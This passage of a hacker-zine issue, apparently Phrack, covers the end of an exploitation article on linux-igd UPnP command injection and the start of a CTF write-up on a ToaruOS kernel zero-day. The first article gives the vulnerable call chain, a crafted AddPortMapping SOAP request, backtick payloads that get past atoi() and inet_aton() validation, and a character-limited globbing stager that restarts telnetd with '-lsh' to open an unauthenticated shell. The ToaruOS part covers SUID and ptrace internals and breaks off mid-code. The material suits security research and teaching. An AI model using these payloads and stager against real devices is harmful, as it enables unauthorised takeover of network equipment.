"%s", command); system(command); ... } ... } return 1; } The creation of the string command, with elements controlled by an attacker supplied as a parameter to the system() function, raises a security issue. The pmlist_AddPortMapping() function is called by the pmlist_PushBack() function within the pmlist.c file. int pmlist_PushBack(struct portMap* item) { int action_succeeded = 0; ... if (action_succeeded == 1) { pmlist_AddPortMapping(item->m_PortMappingEnabled, item->m_PortMappingProtocol, item->m_ExternalPort, item->m_InternalClient, item->m_InternalPort); return 1; } else return 0; } By analyzing the code above, it appears that the values supplied to the pmlist_AddPortMapping() function are not sanitized. This happens earlier in the call stack, specifically when the portMap structure is created and supplied to the pmlist_PushBack() function. This can be observed in the gatedevice.c file, where the AddPortMapping() function is defined. This function is called by the SOAP action handler HandleActionRequest(), which is registered by EventHandler() to process the associated HTTP request. int AddPortMapping(struct Upnp_Action_Request *ca_event) { char *remote_host = NULL; char *ext_port = NULL; char *proto = NULL; char *int_port = NULL; char *int_ip = NULL; char *int_duration = NULL; char *bool_enabled = NULL; char *desc = NULL; struct portMap *ret, *new; int result; char num[5]; // Maximum number of port mapping entries 9999 IXML_Document *propSet = NULL; int action_succeeded = 0; char resultStr[RESULT_LEN]; if ( (ext_port = GetFirstDocumentItem(ca_event->ActionRequest, "NewExternalPort")) && (proto = GetFirstDocumentItem(ca_event->ActionRequest, "NewProtocol")) && (int_port = GetFirstDocumentItem(ca_event->ActionRequest, "NewInternalPort")) && (int_ip = GetFirstDocumentItem(ca_event->ActionRequest, "NewInternalClient")) && (int_duration = GetFirstDocumentItem(ca_event->ActionRequest, "NewLeaseDuration")) && (bool_enabled = GetFirstDocumentItem(ca_event->ActionRequest, "NewEnabled")) && (desc = GetFirstDocumentItem(ca_event->ActionRequest, "NewPortMappingDescription"))) { remote_host = GetFirstDocumentItem(ca_event->ActionRequest, "NewRemoteHost"); ... if ((ret = pmlist_Find(ext_port, proto, int_ip)) != NULL) { trace(3, "Found port map to already exist. Replacing"); pmlist_Delete(ret); } new = pmlist_NewNode(atoi(bool_enabled), atol(int_duration), "", ext_port, int_port, proto, int_ip, desc); result = pmlist_PushBack(new); ... } ... } The pmlist_NewNode() function, defined in the pmlist.c file, performs checks to ensure that the values contained in the SOAP request are valid. To clarify the information presented so far, the diagram below summarizes the call stack as neatly as possible. +------------------+ | main() | +------------------+ | v +------------------------+ | EventHandler() | +------------------------+ | v +---------------------------+ | HandleActionRequest() | +---------------------------+ | v +--------------------------+ | AddPortMapping() | +--------------------------+ / \ v v +------------------+ +---------------------+ | pmlist_NewNode() | | pmlist_PushBack() |<---+ +------------------+ +---------------------+ | | | | | | | +----struct portMap------|---------------+ | v +-------------------------+ | pmlist_AddPortMapping() | +-------------------------+ | v +------------+ | system() | +------------+ struct portMap* pmlist_NewNode(int enabled, long int duration, char *remoteHost, char *externalPort, char *internalPort, char *protocol, char *internalClient, char *desc) { struct portMap* temp = (struct portMap*) malloc( sizeof(struct portMap) ); temp->m_PortMappingEnabled = enabled; if (remoteHost && strlen(remoteHost) < sizeof(temp->m_RemoteHost)) strcpy(temp->m_RemoteHost, remoteHost); else strcpy(temp->m_RemoteHost, ""); if (strlen(externalPort) < sizeof(temp->m_ExternalPort)) strcpy(temp->m_ExternalPort, externalPort); else strcpy(temp->m_ExternalPort, ""); if (strlen(internalPort) < sizeof(temp->m_InternalPort)) strcpy(temp->m_InternalPort, internalPort); else strcpy(temp->m_InternalPort, ""); if (strlen(protocol) < sizeof(temp->m_PortMappingProtocol)) strcpy(temp->m_PortMappingProtocol, protocol); else strcpy(temp->m_PortMappingProtocol, ""); if (strlen(internalClient) < sizeof(temp->m_InternalClient)) strcpy(temp->m_InternalClient, internalClient); else strcpy(temp->m_InternalClient, ""); if (strlen(desc) < sizeof(temp->m_PortMappingDescription)) strcpy(temp->m_PortMappingDescription, desc); else strcpy(temp->m_PortMappingDescription, ""); temp->m_PortMappingLeaseDuration = duration; temp->next = NULL; temp->prev = NULL; return temp; } To identify the length of each structure field, it is sufficient to read its definition in the pmlist.h file. struct portMap { int m_PortMappingEnabled; long int m_PortMappingLeaseDuration; char m_RemoteHost[16]; char m_ExternalPort[6]; char m_InternalPort[6]; char m_PortMappingProtocol[4]; char m_InternalClient[16]; char m_PortMappingDescription[50]; int expirationEventId; long int expirationTime; struct portMap* next; struct portMap* prev; } *pmlist_Head, *pmlist_Tail, *pmlist_Current; The definition of the above structure highlights that, regardless of the circumstances, the attacker is limited in the number of characters he can inject into the various fields of the SOAP request, thereby restricting the commands he can use to exploit the command injection. --------------------------------------------------------------------------- --[ 4. Compilation and debugging To study the service's behavior during execution, it is highly recommended to compile it from source and debug it to streamline the development phase of the exploit. The compilation phase was likely the most troublesome. As the service's source code was quite outdated, it took numerous tests and failures before a solution was found. The solution was to compile and run the service in a virtual machine (x86_64) using QEMU, with Fedora 21 selected as the guest operating system. It is not necessary to allocate much storage space, as this machine will only run the sshd service (for administration) and the targeted service. A disk can be created with the following command. $ qemu-img create -f qcow2 fedora21.qcow2 20G Once the disk is created, the next step is to launch QEMU, specifying the path to the ISO (the download link is provided in the references section[3]), and perform a standard Fedora 21 installation. $ qemu-system-x86_64 \ -m 4G \ -smp 4 \ -cdrom Fedora-Live-Workstation-x86_64-21-5.iso \ -drive file=fedora21.qcow2,format=qcow2 \ -boot d \ -net nic\ -net user \ -vga std \ -display default Once the operating system is installed on the guest machine, the VM can be powered off and then restarted using the command below. $ qemu-system-x86_64 \ -m 4G -smp 4 \ -drive file=fedora21.qcow2,format=qcow2 \ -net nic \ -net user,hostfwd=tcp::2222-:22 \ -vga std \ -display default The libupnp[4] library must be compiled before linux-igd because it depends on it to implement the UPnP Internet Gateway Device (IGD) protocol. Since linux-igd links against libupnp during compilation, failing to compile libupnp first will result in build errors due to missing headers and libraries. Therefore, compiling libupnp first ensures that the required dependencies are available for successfully building linux-igd. According to the linux-igd installation file INSTALL, we must first compile version 1.3.1[5] of the libupnp library. $ tar -xf libupnp-1.3.1.tar.gz $ cd libupnp-1.3.1/ $ ./configure $ make -j4 $ sudo make install The targeted service can then be compiled. $ tar -xf linuxigd-1.0.tar.gz $ cd linuxigd-1.0/ $ make -j4 $ sudo make install Following the installation of linux-igd, the following files have been added to the system. /etc/ |__ linuxigd/ | |__ dummy.xml | |__ gateconnSCPD.xml | |__ gatedesc.xml | |__ gateicfgSCPD.xml |__ upnpd.conf To have a functional service that simulates a real network device, our virtual machine needs two interfaces: - WAN interface (created as a dummy interface) - LAN interface (the one we are connected to via SSH). $ sudo ip link add name dummy0 type dummy $ sudo ip link set dummy0 up $ sudo ip addr add 192.168.13.37/24 dev dummy0 To verify that the interface has been correctly created and configured, use the following command. $ ip addr show dummy0 Once the tests are complete, it can be deleted using the following command. $ sudo ip link delete dummy0 To set up debugging, use GDB to place a breakpoint on the system() function call but first, set the debug_mode value in the file /etc/upnpd.conf as follows (to improve debugging). # Daemon debug level. Messages are logged via syslog to debug. # 0 - no debug messages # 1 - log errors # 2 - log errors and basic info # 3 - log errors and verbose info # default = 0 debug_mode = 3 The service can then be started using the following command. $ sudo LD_LIBRARY_PATH=/usr/local/lib upnpd -f <WAN_IFACE> <LAN_IFACE> To debug with GDB, simply retrieve the PID of the process associated with the service. $ ps auxf|grep upnpd $ gdb -p <PID> $ (gdb) break system $ (gdb) c Now that the service is up and running and the debugging setup is complete, the next step is to interact with it. To do this, we need to review the contents of the gatedesc.xml and gateconnSCPD.xml files which are located in /etc/linuxigd/. Although we were not always fans of AI, we have come to realize that, as the saying goes, "Only fools do not change their minds!' With that in mind, it might be worthwhile to use a Large Language Model (LLM) based on the GPT-4 architecture to parse the XML files and generate the necessary HTTP requests for interacting with the service. This approach is especially useful when working with a service that has been enhanced with new features (but still based on linux-igd within the SDK). For instance, ChatGPT was able to provide the HTTP requests to reach the vulnerable function pmlist_AddPortMapping(). POST /upnp/control/WANIPConn1 HTTP/1.1 Host: 127.0.0.1:49152 Content-Type: text/xml; charset="utf-8" SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" Content-Length: 704 <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:schemas-upnp-org:service:WANIPConnection:1"> <soapenv:Header/> <soapenv:Body> <urn:AddPortMapping> <NewRemoteHost></NewRemoteHost> <NewEnabled>1</NewEnabled> <NewLeaseDuration>1</NewLeaseDuration> <NewPortMappingDescription>POC</NewPortMappingDescription> <NewProtocol>AAA</NewProtocol> <NewExternalPort>BBBBB</NewExternalPort> <NewInternalClient>CCCCCCCCCCCCCCC</NewInternalClient> <NewInternalPort>DDDDD</NewInternalPort> </urn:AddPortMapping> </soapenv:Body> </soapenv:Envelope> Once the request is sent using curl, the following behavior can be monitored. $ curl -v \ -d @body.soap \ -H 'Content-Type: text/xml; charset="utf-8"' \ -H 'SOAPAction: "...IPConnection:1#AddPortMapping"' \ 'http://127.0.0.1:49152/upnp/control/WANIPConn1' $ sudo LD_LIBRARY_PATH=/usr/local/lib upnpd -f dummy0 ens3 upnpd[1878]: Initializing UPnP SDK ... upnpd[1878]: UPnP SDK Successfully Initialized. upnpd[1878]: Setting the Web Server Root Directory to /etc/linuxigd upnpd[1878]: Succesfully set the Web Server Root Directory. upnpd[1878]: Registering the root device with descDocUrl http://10.0.2.15:49152/gatedesc.xml upnpd[1878]: IGD root device successfully registered. upnpd[1878]: Advertisements Sent. Listening for requests ... upnpd[1878]: ActionName = AddPortMapping upnpd[1878]: appended 1 AAA BBBBB CCCCCCCCCCCCCCC DDDDD 1 upnpd[1878]: /sbin/iptables -t nat -I PREROUTING -i dummy0 -p AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD upnpd[1878]: /sbin/iptables -A FORWARD -p AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT upnpd[1878]: ScheduleMappingExpiration: DevUDN: uuid:XXXXXXXX-XXXX-XXXX-XXX X-XXXXXXXXXXXX ServiceID: urn:upnp-org:serviceId:WANIPConn1 Proto: AAA ExtPort: BBBBB Int: CCCCCCCCCCCCCCC.DDDDD at: Mon Jan 1 00:00:00 1970 eventId: 0 upnpd[1878]: PortMappingNumberOfEntries: 1 upnpd[1878]: AddPortMap: DevUDN: uuid:XXXXXXXX-XXXX-XXXX-8e6c-XXXXXXXXXXXX ServiceID: urn:upnp-org:serviceId:WANIPConn1 RemoteHost: (null) Prot: AAA ExtPort: BBBBB Int: CCCCCCCCCCCCCCC.DDDDD upnpd[1878]: ExpireMapping: Proto:AAA Port:BBBBB upnpd[1878]: /sbin/iptables -t nat -D PREROUTING -i dummy0 -p AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD upnpd[1878]: [HIT 3] /sbin/iptables -D FORWARD -p AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT upnpd[1878]: ExpireMapping: UpnpNotifyExt(deviceHandle,uuid:XXXXXXXX-XXXX-X XXX-XXXX-XXXXXXXXXXXX,urn:upnp-org:serviceId:WANIPConn1,propSet) PortMappingNumberOfEntries: 0 Please note that after the HTTP request was sent, four system commands were executed. For clarity, we will summarize them as follows, with the portions before the first injection point replaced by "U". $ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD $ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT $ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD $ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT It is evident that commands one and three are identical, as are commands two and four. To summarize, here are the commands that were executed once the request was processed by the service. $ U AAA --dport BBBBB -j DNAT --to CCCCCCCCCCCCCCC:DDDDD $ U AAA -d CCCCCCCCCCCCCCC --dport DDDDD -j ACCEPT Now, the fun begins! --------------------------------------------------------------------------- --[ 5. Becoming a Bash Jiu Jitsu white belt Currently, it is possible to inject ourselves into two different commands at several locations within these commands. However, we must, overcome two problems. 1. We control exactly 28 characters ("AAA", "BBBBB", "CCCCCCCCCCCCCCC", "DDDDD") in the first command and 23 in the second. 2. Our injection points are discontinuous and there are elements (command options) between our different injection points. The backtick or backquote (`) in shell scripting is used for command substitution, where the shell executes the command inside the backticks and replaces the backtick expression with the output of the command. It is supported by many Unix-like shells, including sh (Bourne Shell), bash (Bourne Again Shell), ash (Almquist Shell) and dash (Debian Almquist Shell). +-------+----------------+------------------------------------------------+ | Shell | "`" Supported? | Version(s) Supporting Backquotes | +-------+----------------+------------------------------------------------+ | sh | Yes | All versions (all modern POSIX-compliant) | | bash | Yes | All versions (from 1.0 in 1989 to present) | | ash | Yes | All versions (since 1989, including BusyBox) | | dash | Yes | All versions (since 2001) | +-------+----------------+------------------------------------------------+ We will use this feature to remove the parts we don't need by using backquotes, which will (since these interpreted commands produce no output on stdout) concatenate our various injection points. $ U ;A` --dport `BBB` -j DNAT --to `CCCCCCCCCCCCC`:`DDDD ... sh: --dport: command not found sh: -j: command not found sh: ABBBCCCCCCCCCCCCCDDDD: command not found $ U ;A` -d `CCCCCCCCCCCCC` --dport `DDDD -j ACCEPT ... sh: -d: command not found sh: --dport: command not found sh: ACCCCCCCCCCCCCDDDD: command not found We observe that the command ABBBCCCCCCCCCCCCCDDDD (length 21) is executed, as well as the ACCCCCCCCCCCCCDDDD (length 18) command. You might say that using 21 characters (or 18) to exploit a command injection is simple enough to do with minimal effort. So let's make things a little more complex. --------------------------------------------------------------------------- --[ 6. Becoming a Bash Jiu Jitsu purple belt Some of the variants of linuxigd (linux-igd) you may come across, might implement security checks on specific values. For example, some of the most up-to-date variants, check the values of XML nodes, NewExternalPort and NewInternalPort with the function atoi(). You may encounter code snippets like the one below. ext_port = GetFirstDocumentItem(ca_event->ActionRequest, "NewExternalPort") ... /* validate the ports */ a = atoi(ext_port); if (a > 65535 || a < 1) { return -1; } The concept of implementing value control is a good one, but unfortunately for developers, it is done incorrectly by using the atoi() function. Consider the file test_atoi.c as an example, containing the following C code. #include <stdio.h> #include <stdlib.h> int main() { char numberStr[] = "5`BB`"; int a = atoi(numberStr); if (a > 65535 || a < 1) { return -1; } return 0; } Compile it using the command below, then after executing it, let's retrieve the value of the return code. $ gcc test_atoi.c -o test_atoi $ ./test_atoi $ echo $? 0 It is clear that the payload (value contained in the NewExternalPort node) has bypassed the security check. What happens is that the atoi() function converts a string into an integer, stopping at the first non-numeric character. The function will first encounter the character 5, which is a valid numeric character. After the 5, it encounters the backtick character. Since backticks are not part of a valid integer, atoi() will stop parsing the string at this point. By using a payload that bypasses this check, the number of characters available for command injection will be reduced. Nodes NewExternalPort and NewInternalPort must follow the structure of "5`BB`" and "6`DDD" for example (but it depends on the target you want to exploit). Although we currently have fewer characters at our disposal, let's try to go one step further and make the security features more complex. --------------------------------------------------------------------------- --[ 7. Becoming a Bash Jiu Jitsu black belt Port checks having been bypassed, let's imagine that the target now checks the IP value using the inet_aton() function as shown below. int_ip = GetFirstDocumentItem(ca_event->ActionRequest, "NewInternalClient") ... /* validate the IP address */ struct in_addr req_addr; if (0 == inet_aton(int_ip, &req_addr)) { return -1; } Consider the file test_inet_aton.c as an example, containing the following C code. #include <stdio.h> #include <stdlib.h> #include <arpa/inet.h> int main() { const char *ip_str_a = "192.168.1.1"; const char *ip_str_b = "192.168.1.1 `C`"; struct in_addr addr_a; struct in_addr addr_b; if (0 == inet_aton(ip_str_a, &addr_a)) { printf("Internal Error.\n"); return -1; } if (0 == inet_aton(ip_str_b, &addr_b)) { printf("Internal Error.\n"); return -1; } return 0; } Compile it using the command below, then after executing it, let's retrieve the value of the return code. $ gcc test_inet_aton.c -o test_inet_aton $ ./test_inet_aton $ echo $? 0 What happens is that, inet_aton() will succeed in converting the IP address as long as the initial part of the string is a valid IP address format. After parsing "192.168.1.1", inet_aton() will encounter " `C`". These characters are not valid for an IP address and are simply ignored by inet_aton(). Consequently, structs in_addr will contain the binary representation of the IP address "192.168.1.1". $ U ;A` --dport 5`BB` -j DNAT --to 192.168.1.1 `C`:6`DDD ... sh: --dport: command not found sh: -j: command not found sh: :6: command not found sh: ABBCDDD: command not found $ U ;A` -d 192.168.1.1 `C` --dport `DDDD -j ACCEPT ... sh: -d: command not found sh: --dport: command not found sh: ACDDDD: command not found All security checks have been bypassed, leaving 7 (or 6) characters to carry out the command injection in case the IP is 192.168.1.1 and 9 (or 8) if IP have 10.10.0.1 as format. As it can be understood, the format of the IP of the target will have a consequence on the number of characters controllable for the injection. Depending on the vendor, different default IPs can be defined for their network equipment, but the format of the two IPs mentioned above are generally the most common. --------------------------------------------------------------------------- --[ 8. Claiming supremacy over the mats As it may be evident, the intriguing aspect arises when attempting to answer the question: How can arbitrary commands be executed when only 7 characters are known to be controllable? The answer is, to take advantage of globbing. Globbing is the process of pattern matching for filenames and behaves similarly across shells like sh, bash, ash, and dash, as they all follow POSIX standards. Common globbing patterns such as *, ?, and [...] are supported in all these shells, allowing users to match groups of files using wildcards. However, bash stands out by offering advanced features like extended globbing and recursive globbing with **, which are not available in ash, dash, or sh, which are more minimalistic and focus on speed and efficiency. The order in which files are matched during globbing in shells generally follows lexicographical order, but it may vary depending on the system's locale. Typically, in UTF-8 or ASCII environments, files starting with digits come first, followed by uppercase letters and then lowercase letters. For files whose filenames contain special characters, different behavior have been observed where they may be listed either first or last. While the basic globbing behavior is consistent across all shells, differences may arise if the locale changes, affecting how special characters, numbers, and letters are ordered. Here is a simple example. Consider the previous virtual machine, if files are created using the command below. $ touch .A .B .a .b .1 The following command is used with as shell bash (or zsh). $ echo .? .1 .a .A .b .B However, with ash (BusyBox version), the following result is obtained. $ echo .? .. .1 .A .B .a .b After a little investigation the discrepancies may come from the locale differences between interpreters. ash use the C locale (also known as the POSIX locale) which is the default system locale that is typically used in Unix-like operating systems when no specific locale is set. And the related sorting does not take into account accents, case sensitivity, or linguistic rules. Characters are sorted in the following order (ASCII values of characters). - Digits (0-9) first. - Uppercase letters (A-Z) next. - Lowercase letters (a-z) last. - Special characters (like !, #, etc.) have a predefined order, which is based on their ASCII values. It is time to put little dishes into the big ones and mix all the ingredients together to make a good soup. To do this, the first thing we need to do is define the only limitation that our technique confronts us with. As a stager is about to be created, the current directory of the process being exploited (upnpd) must be writable. The CWD environment variable typically refers to the current working directory of the shell or process. It holds the path of the directory in which the process is running or where it was launched from (however, it is important to note that CWD is not a standard environment variable in all systems—it's more commonly used in certain applications or scripts to track the current directory). Alternatively, the /proc/self/cwd symbolic link in Linux can be used to track the current working directory of a running process by pointing to the directory in which the process is currently operating. Since /proc/self refers to the current process, accessing /proc/self/cwd provides the absolute path to that process’s working directory. It is to be noted that this link is automatically updated when the process changes its working directory, such as when it executes the cd command or changes directories programmatically. By reading the target of /proc/self/cwd, the working directory of a process can be programmatically determine at any given time (making it a useful tool for monitoring). Let's start with the simplest case (using ash), taking control of the target when we can execute an 8-character command. Create files named "killall" and "telnetd". $ >killall $ >telnetd Kill telnetd and restarting it with the desired options (-lsh). $ k* t* $ t* -lsh Yes, it is that simple. The same process may be used with 7 characters. Clean current directory (/proc/self/cwd). $ rm -r * Writing string "killal\n" into ".a". $ >killal $ >echo $ *>>l $ cp l .a $ rm -r * Writing string " echo\n" into ".c". $ >" " $ >echo $ e* *>>l $ cp l .c $ rm -r * Writing string "telnet\n" into ".d". $ >telnet $ >echo $ *>>l $ cp l .d $ rm -r * Writing string "lsh\n" into ".g". $ >lsh $ >echo $ *>>l $ cp l .g $ rm -r * Writing string "killal" into ".a". $ >head $ cp .a f $ cp f h* $ rm f $ >-c $ >6 $ h* *>>h $ cp h .a $ rm h Writing string "telnet" into ".d". $ cp .d f $ cp f h* $ rm f $ h* *>>h $ cp h .d $ rm h Writing string "lsh" into ".g". $ cp .g f $ cp f h* $ rm f $ rm 6 $ >3 $ h* *>>h $ cp h .g $ rm h Writing string " " into ".c". $ cp .c f $ cp f h* $ rm f $ rm 3 $ >1 $ h* *>>h $ cp h .c $ rm h Writing string "l" into ".b". $ >echo $ e* l>>f $ rm echo $ cp f h* $ rm f $ h* *>>h $ cp h .b $ rm h Writing string "d" into ".e". $ >echo $ e* d>>f $ rm echo $ cp f h* $ rm f $ h* *>>h $ cp h .e $ rm h Writing string "-" into ".f". $ >echo $ e* ->>f $ rm echo $ cp f h* $ rm f $ h* *>>h $ cp h .f $ rm h Executing command "killall telnetd". $ >cat $ cp .a A $ cp .b B $ cp .c C $ cp .d D $ cp .e E $ c* ?|sh Executing command "telnetd -lsh". $ cp .d A $ cp .e B $ cp .c C $ cp .f D $ cp .g E $ c* ?|sh --------------------------------------------------------------------------- --[ 9. Conclusion Of course, the chosen target was just an excuse (as many vulnerabilities have already been identified and exploited in the past) for presenting the very subject of the article, which is the optimization of command injection in the context of using a limited number of characters. We have demonstrated that even with just a few characters at our disposal, we are capable of writing a stager (in a file) that can execute a real malicious payload and thus compromise a device. --------------------------------------------------------------------------- --[ 10. Acknowledgments (527e876c0d7e3049d1d99f00f3fbf9a9b0c63ccf) I'd like to thank all the people we have come to know and will come to know in our lives as hackers, as well as all those who have made the effort to document their research work, and will do so in the future. We can finally become immortals. Thank you for everything. --------------------------------------------------------------------------- --[ 11. References [1]: THE LINUX UPNP INTERNET GATEWAY DEVICE, https://linux-igd.sourceforge.net/changelog.php [2]: Linux UPnP Internet Gateway Device, https://sourceforge.net/projects/linux-igd/ [3]: Fedora-Live-Workstation-x86_64-21-5.iso, https://dl02.fedoraproject.org/pub/archive/fedora/linux/releases/21/ Workstation/x86_64/iso/Fedora-Live-Workstation-x86_64-21-5.iso [4]: Portable UPnP SDK, https://sourceforge.net/projects/pupnp/ [5]: libupnp-1.3.1.tar.gz, https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.3.1/ |=-----------------------------------------------------------------------=| |=----------------------=[ 8 - Breaking ToaruOS ]=-----------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ CTF as a kernel exploitation intro ]=---------------=| |=-----------------------------------------------------------------------=| |=-------------=[ NOT / Firzen ]=---------=[ Binary Gecko ]=-------------=| |=-----------------------------------------------------------------------=| ---[ Index 0 - Introduction 1 - The Challenge 1.1 - Environment 2 - ToaruOS 2.1 - Mitigations 3 - Kernel Bugs 4 - Searching for a bug 4.1 - How to open a file 4.2 - Becoming root normally 4.3 - SUID on the kernel side 4.4 - ptrace 4.5 - Poking the first hole 4.6 - Flat mapping excursion 5 - The bug 6 - Write-what-where, but where? 6.1 - No KASLR 6.2 - SUIDn't 7 - In Closing 8 - References A - Exploit Code ---[ 0 - Introduction In this article I would like to talk about the process of finding and exploiting a kernel zero day. I will use a CTF challenge about finding zero days in a hobby OS kernel as scaffolding and walk through the layers of protection that the kernel provides and one of the zero days used to break them. I think it is a great way to dive into some of the lower level code and bug classes that can only occur on a kernel level without having to first understand the internals of a major modern OS kernel and its many mitigations. ---[ 1 - The Challenge During the 38C3 conference HXP hosted a CTF that included a kernel exploitation challenge called "Ser Szwajcarski" (polish for swiss cheese). Apart from the name the challenge was unusual in two other respects: Firstly, it wasn't for any major OS, but instead for a relatively niche hobby kernel. Secondly, it targeted the current version (at the time [1]) of the OS. So really, the challenge was to find a zero day for the OS. ---[ 1.1 - Environment Before we get into the details, what was the setup of the challenge? You were provided a low-priv remote shell running on ToaruOS[2] and had to access the flag in a file that only the root user could access. They also provided a Dockerfile so that you could set up an identical local test environment. ---[ 2 - ToaruOS So, what kind of OS is ToaruOS? It is a unix-like hobby OS written by Kevin Lange. It is one of the more advanced hobby OS projects and still actively being developed. But this isn't a history lesson, so I'll get straight to the parts that are relevant to us. ---[ 2.1 - Mitigations Modern operating systems employ a large number of mitigations to make them more resilient, for safety and for security. I'll give a brief overview of the major common ones on x86_64 Linux and then go over how they apply to ToaruOS in 3.1.5. Basically all of them have analogues for different architectures and operating systems, but that's way too much to cover. I am also leaving out several other mitigations that aren't relevant to the vulnerability or are Linux-specific. ---[ 2.1.1 - CPU rings On x86 the CPU can run with several distinct privilege levels called rings. These restrict which actions the CPU is allowed to perform. For example you can not change the CR3 register, which points to the page directory, while in ring 3. For this article all you need to know is that ring 0 is 'kernel mode' and ring 3 is 'user mode'. This is why system calls exist. A system call is just a CPU in ring 3 causing an interrupt that is handled by the kernel in ring 0. That code in the kernel then interprets the request and checks if it is sane and allowed. If so it then performs an action on behalf of that ring 3 request. ---[ 2.1.2 - Page protections A page is a physical region of memory that can be mapped to one or more virtual addresses [3]. These mappings have several flags that determine how the mapped page can be accessed. For this article we only care about the following 3 flags: P - Present Is this page mapped at all? R/W - Read/Write Is this page read-only or writable? U/S - User/Supervisor Is this page accessible from ring 3 or only ring 0? I want to explicitly point out that these flags exist for each separate mapping of a page. The same physical page can be mapped at multiple virtual addresses with different permissions. ---[ 2.1.3 - KASLR - Kernel Address Space Layout Randomization The kernel version of user space ASLR you may already be familiar with. What this effectively means is that you don't know ahead of time where in memory the kernel will be mapped. ---[ 2.1.4 - SMEP/SMAP - Supervisor Mode Execution/Access Prevention These two mitigations prevent the kernel from accessing userspace memory directly through a pointer. Any data access has to instead go through special functions that will temporarily disable the mitigation. Any execution access of userspace memory in kernel mode is completely disallowed. When the kernel returns to userspace it has to also switch to user mode at the same time. ---[ 2.1.5 - ToaruOS mitigations overview + CPU rings + Page Protections - KASLR - SMEP/SMAP On ToaruOS the first two mitigations exist and the latter two don't. This is more or less expected since the first two are mainly enforced by the hardware architecture rather than the OS. The first three of those are the ones you should keep in mind for the rest of this article. ---[ 3 - Kernel bugs We are all very used to the security guarantees that our OS provides and most of us probably take them for granted. Of course, you can't open /etc/shadow as a normal user. Of course, you can't just attach a debugger to a root process and alter what it does. Of course, you can't change the owner of an suid executable and keep the suid flag. But all of those things are enforced by the operating system. It is common to become root or SYSTEM to demonstrate a kernel exploit, but the truth is that you effectively have even higher privileges. If the OS, specifically the kernel, isn't stopping you, you can do anything. (Yes, I am ignoring hypervisor based security for dramatic reasons) All this to say: Kernel bugs may have the same root causes as many user space bugs, but there are also entirely different bug classes that can only really exist in a kernel. So, I encourage you to challenge your preconceptions and question even those "obvious" security concepts. ToaruOS has quite a few similarities to Linux, so it is tempting to assume it provides all of the same guarantees. ---[ 4 - Searching for a bug Since the kernels' job is to enforce security guarantees it makes sense to start by looking at how exactly it does that. Our goal is simply to read a file, so let's look at how we may be able to open it. ---[ 4.1 - How to open a file If you want to open a file in C you call the libc open() function. This function internally then issues the corresponding system call. The kernel side code of ToaruOS that handles the syscall is sys_open() in '/kernel/sys/syscall.c'. long sys_open(const char * file, long flags, long mode) { PTR_VALIDATE(file); if (!file) return -EFAULT; fs_node_t * node = kopen((char *)file, flags); int access_bits = 0; if (node && (flags & O_CREAT) && (flags & O_EXCL)) { close_fs(node); return -EEXIST; } ... The first thing the kernel does is to check that 'file' is a valid user space pointer. The 'ptr_validate()' function checks that the address is in user space and is mapped with appropriate flags. This will be important later. It then tries to open that file with 'kopen' and then performs access checks to determine if the file already exists. Afterwards, it continues to perform access checks. This is how the OS enforces file system access permissions. If you want to open a file it will check all of the permissions before the file is ever visible in user mode. ... int fd = process_append_fd(this_core->current_process, node); ... return fd; } If all the checks have passed 'process_append_fd()' is called and the file descriptor is now visible in the user mode process. 'fd' is then returned from the system call and the libc then returns it from 'open()'. Since the checks here look sane, we need to change either the files permissions or elevate our privileges. Let's take a look at elevating privileges. ---[ 4.2 - Becoming root normally You may have wondered how 'sudo' can make you 'root' on a Linux system. It is definitely one of those "obvious" things I mentioned earlier, so you may never have given it a second thought. But if you do, it seems a little odd. 'sudo' is a program that runs in 'user mode' in ring 3 like any other. It can't issue a magic CPU instruction that changes the user and it can't write in kernel memory. If it could then so could any other user mode process. Clearly it uses the 'setuid()' libc function, but using it to switch to another user requires privileges. But we can run 'sudo' as a low-privileged user to become root, so what makes 'sudo' special? You probably already know that the way it works is that the file system doesn't just store permissions for read/write/execute access, but can also store flags and capabilities. Particularly the SUID flag denotes that a program should be executed not as the user that starts it, but as the user that owns the file. On ToaruOS it works exactly the same way as it does on Linux: local@livecd ~$ ls -al /bin/sudo -r-sr-xr-x 1 root root 10384 Mar 16 17:26 /bin/sudo Note that instead of 'x' it shows 's' for the execute permission, showing the SUID bit is set. ---[ 4.3 - SUID on the kernel side The implementation of the SUID bit is very straight-forward in ToaruOS and can be found in 'elf_exec()' in '/kernel/misc/elf64.c'. if ((file->mask & S_ISUID) && !(this_core->current_process->flags & (PROC_FLAG_TRACE_SYSCALLS | PROC_FLAG_TRACE_SIGNALS))) { /* setuid */ this_core->current_process->user = file->uid; } This is already the full implementation. If the 'S_ISUID' flag of the file is set the user id of the process is set to the owner of the file. The second half of the if clause exists so that if you start an SUID binary with a debugger attached it doesn't change the user. ---[ 4.4 - ptrace ToaruOS has the ability to debug programs in user space. It has a 'ptrace' syscall to do this, similar to the way it works on Linux. 'ptrace' lets you attach to a process - the 'tracee' - and to manipulate it in various ways as the 'tracer'. You can read registers, single-step, read or alter memory, etc. 'ptrace_handle()' in '/kernel/sys/ptrace.c' implements it in ToaruOS. That function is just a huge switch statement based on which of these operations was requested. Instead let's look at 'ptrace_peek()' and 'ptrace_poke()' for the moment. 'peek' reads a byte and 'poke' writes a byte in the tracee. Keep in mind that when we are in the 'ptrace' syscall the current process is the 'tracer', not the 'tracee'. Let's start with 'ptrace_peek()': long ptrace_peek(pid_t pid, void * addr, void * data) { if (!data || ptr_validate(data, "ptrace")) return -EFAULT; process_t * tracee = process_from_pid(pid); if (!tracee || (tracee->tracer != this_core->current_process->id) || !(tracee->flags & PROC_FLAG_SUSPENDED) ) return -ESRCH; Again it starts by verifying a user provided pointer 'data'. But notably it does NOT verify 'addr'. We will get back to that. Then it looks up the 'tracee' process. If the 'tracee' doesn't exist, or if we aren't the 'tracer', or if the process isn't in a suspended state we will error out. union PML * page_entry = 